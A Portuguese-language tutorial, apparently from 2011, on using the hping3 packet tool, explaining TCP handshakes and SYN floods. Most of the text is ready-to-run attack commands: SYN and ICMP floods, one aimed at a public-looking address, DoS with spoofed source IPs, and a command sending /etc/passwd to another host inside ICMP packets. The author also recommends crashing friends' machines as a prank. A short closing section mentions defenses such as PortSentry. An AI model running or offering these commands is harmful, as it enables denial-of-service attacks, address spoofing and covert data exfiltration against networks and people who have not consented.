HPING - Utilizando HPing

7
Utilizando hping Autor: Marcos Carraro <marcos.g.carraro at gmail.com> Data: 09/08/2011 Introdução O hping é um software poderoso quando se fala de ataque de negação de serviço e para tanto é preciso conhecer a relação cliente/servidor. As mensagens servidor/cliente são trocadas em 3 vias. O cliente envia uma requisição de conexão: pacote com flag syn com um determinado número de sequência x. O servidor recebe o pacote e responde com uma mensagem de reconhecimento: flag syn-ack com um número de sequência x+1 e y. O cliente reconhece o pacote syn-ack com y+1 e a conexão está estabelecida. Aqui podemos ver um exemplo de estabilização de uma determinada comunicação. Para complementar, a conexão é fechada quando o cliente ou servidor envia um pacote com flag fin ou de forma abrupta com uma flag rst. Com base nestes conhecimentos, um ataque do tipo Syn-flood ou enxurrada de pacotes é utilizado para desestabilizar ou derrubar recursos computacionais e podem acontecer em vários níveis do protocolo TCP.

description

Utilizando HPing

Transcript of HPING - Utilizando HPing

Page 1: HPING - Utilizando HPing

Utilizando hpingAutor: Marcos Carraro <marcos.g.carraro at gmail.com>

Data: 09/08/2011

Introdução

O hping é um software poderoso quando se fala de ataque de negação de serviço e para tanto é preciso conhecer a relação cliente/servidor. As mensagens servidor/cliente são trocadas em 3 vias.

O cliente envia uma requisição de conexão: pacote com flag syn com um determinado número de sequência x. O servidor recebe o pacote e responde com uma mensagem de reconhecimento: flag syn-ack com um número de sequência x+1 e y. O cliente reconhece o pacote syn-ack com y+1 e a conexão está estabelecida.

Aqui podemos ver um exemplo de estabilização de uma determinada comunicação.

Para complementar, a conexão é fechada quando o cliente ou servidor envia um pacote com flag fin ou de forma abrupta com uma flag rst. Com base nestes conhecimentos, um ataque do tipo Syn-flood ou enxurrada de pacotes é utilizado para desestabilizar ou derrubar recursos computacionais e podem acontecer em vários níveis do protocolo TCP.

O ataque consiste no envio de uma grande quantidade de pacotes com flags setadas SYN para a vítima, de tal maneira que a mesma não consiga responder a todos as requisições. Com um grande número de pacotes SYN apilha de memória sofre um estouro e todas as requisições são desprezadas.

Fazendo de todas estas informações a utilização para testes, em nossa rede, servidores, ou para testar alguns "servidores públicos", IDS, entre outras.

Page 2: HPING - Utilizando HPing

Instalação

Para a demonstração do uso do hping3 utilizei Fedora 15.

Para fazer a instalação em sistemas baseados em RedHat tais como CentOS, Fedora.

# yum install hping3

ou:

# wget ftp://ftp.univie.ac.at/systems/linux/fedora/epel/5/i386/hping3-0.0.20051105-7.el5.i386.rpm # yum localinstall *.rpm

Baseadas em Debian e Ubuntu:

# wget http://ftp.debian.org/debian/pool/main/h/hping3/hping3_3.a2.ds2-6_i386.deb

# dpkg -iv *.deb

Baseadas em Slackware:

# wget http://www.hping.org/hping3-20051105.tar.gz

Parâmetros de utilizaçãoAuxiliadores para port-scan:

-F --fin set FIN flag -S --syn set SYN flag

-R --rst set RST flag

-P --push set PUSH flag

-A --ack set ACK flag

-U --urg set URG flag

-e assinatura

-a meu IP

-p porta

-I interface de rede utilizada, ex.: hping -I eth1 ......-p ++22 - Começa uma contagem a partir da porta de destino 22 vai em ordem crescente 22 23 24 25

-s porta de origem, por padrão ele começa aleatório

-M definir o número de sequência TCP

-SA Uma maneira de ficar transparente

Page 3: HPING - Utilizando HPing

-i intervalo de tempo (caso o alvo tenha um IDs ou iptables com módulo recent)

-i 10 (10 segundos)

-i u10 (10 micro segundos)

-c --count esta opção permite especificar o número de pacotes que queremos enviar

--fast alias de tempo para indicar -i u10000. Para enviar 10 pacotes por segundo

--faster alias de tempo para indicar -i u1.

-n --numeric trata a saída de dados unicamente números, não há resolução de nomes

-w --win Tamanho do pacotes por padrão 64bits

Para uma mais informações: hping3(8) - Linux man page Home -- hping network security tool

hping security tool - man page

Exemplos

Exemplos básicosFloodar com 10mil syn um ip na porta 80:

# hping3 --flood --syn -c 10000 -a 1.2.3.4 -p 80 200.157.25.8

DoS - O ataque DoS, tem a ideia de fazer com que a placa de rede, ip, banda, não consiga respirar, fazendo disso uma parada dos serviços, ela simplesmente não consegue mais responder.

# hping3 --flood 200.157.25.8

DoS com outra TTL - Podemos mudar os nossos "HOPS" para chegar em nosso destino como neste caso, e fazemos uma inundação de 100 pacotes com ttl 250 para o IP, podemos usar outras tantas combinações de uma linha.

# hping --flood --ttl 250 --count 100 192.168.0.1

Spoof com um falso IP - Esta parte é legal até, podemos mandar milhares de pacotes com outro IP, não cheguei a testar em um FW público.

# hping --spoof 1.2.3.4 192.168.0.1

Page 4: HPING - Utilizando HPing

(hping --spoof FALSOIP IPQUENTE)

DoS com spoofing - Que tal fazer um DoS e IP spoofing ao mesmo tempo? Colocamos um IP falso para que o "destino" não desconfie EHEHEHEH. Isso é ate legal de se fazer, com testes interno funciona perfeitamente.

# hping --flood --spoof 8.8.8.8 --ttl 66 192.168.0.2

Spoof Loucão - HAHHA que tal mandar várias inundações loucamente para um IP?

# hping3 --spoof 192.168.0.2 --icmp-ts 192.168.0.1

(hping3 --spoof MEUIP --icmp-ts IPDESTINO)

Exemplos mais complexosFlood com assinatura - No caso ele vai enviar alguns pacotes com esta rotulação podendo ser um arquivo ou simplesmente na escrita, como vemos nos exemplos.

# hping3 --flood --syn -a 1.2.3.4 -e "TESTANDO" -S -s 80 192.168.0.1

Monitorando com tcpdump:

0x0000: 45c0 006a 9f79 0000 4001 7e97 ac10 01d1 E..j.y..@.~.....0x0010: ac10 01d1 0303 590b 0000 0000 4500 004e ......Y.....E..N0x0020: e171 0000 4011 3d6b ac10 01d1 ac10 01d1 .q..@.=k........0x0030: 0a28 0007 003a 0902 5445 5354 4554 4553 .(...:..TESTETES0x0040: 5445 0a00 0000 0000 0000 0000 0000 0000 TE..............0x0050: 0000 0000 0000 0000 0000 0000 0000 0000 ................

Criando arquivo de assinatura:

# echo "TESTETESTE" > /vat/tmp/assinatura.sig

Enviando o ataque:

# hping -2 -p 7 192.168.0.3 -d 50 -E /var/tmp/assinatura.sig

Para monitorar:

# tcpdump -i ethX -nX proto 17

0x0000: 45c0 006a 9f79 0000 4001 7e97 ac10 01d1 E..j.y..@.~.....0x0010: ac10 01d1 0303 590b 0000 0000 4500 004e ......Y.....E..N0x0020: e171 0000 4011 3d6b ac10 01d1 ac10 01d1 .q..@.=k........0x0030: 0a28 0007 003a 0902 5445 5354 4554 4553 .(...:..TESTETES0x0040: 5445 0a00 0000 0000 0000 0000 0000 0000 TE..............0x0050: 0000 0000 0000 0000 0000 0000 0000 0000 ................

Transferir informações pelo ICMP - Que parte louca, sim quando esta lendo alguns manuais na internet achei engraçado esta parte:

Page 5: HPING - Utilizando HPing

# hping 192.168.0.3 --icmp -d 100 --sign signature --file /etc/passwd

Monitorando:

# tcpdump -i ethX -nX

A saída é bem parecida.

FinalizandoLeitura recomendada:

Iptables protege contra SYN FLOOD? [Artigo]

Para amenizar o uso de port-scan a melhor opção é utlizar o PortSentry: PortSentry: Melhorando a segurança do seu Linux [Artigo]

Uma dica a quem utilizar portsentry firewall e proxy tudo em um único servidor, edite o arquivo da crontab em que o portsentry é executado.

# vim /etc/cron.d/portsentry

Neste arquivo ele reinicia o serviço do iptables, isto ira fazer com que sua rede pare, então vai ficar aquele cenário sobe e desce, remova a opção de reiniciar o iptables e deixe somente de reiniciar o serviço do portsentry caso deseja reiniciar o iptables adicione o seu arquivo de firewall na linha.

Visto desta poderosa ferramenta, o mais legal é brincar com seus amigos, na rede eles irão ficar procurando o que pode ser que esta ocasionando o travamento do micro HEHEHHEHE.

Um forte abraço, Marcos Carraro

No blog você encontra mais informações sobre Linux: marcoscarraro.blogspot.com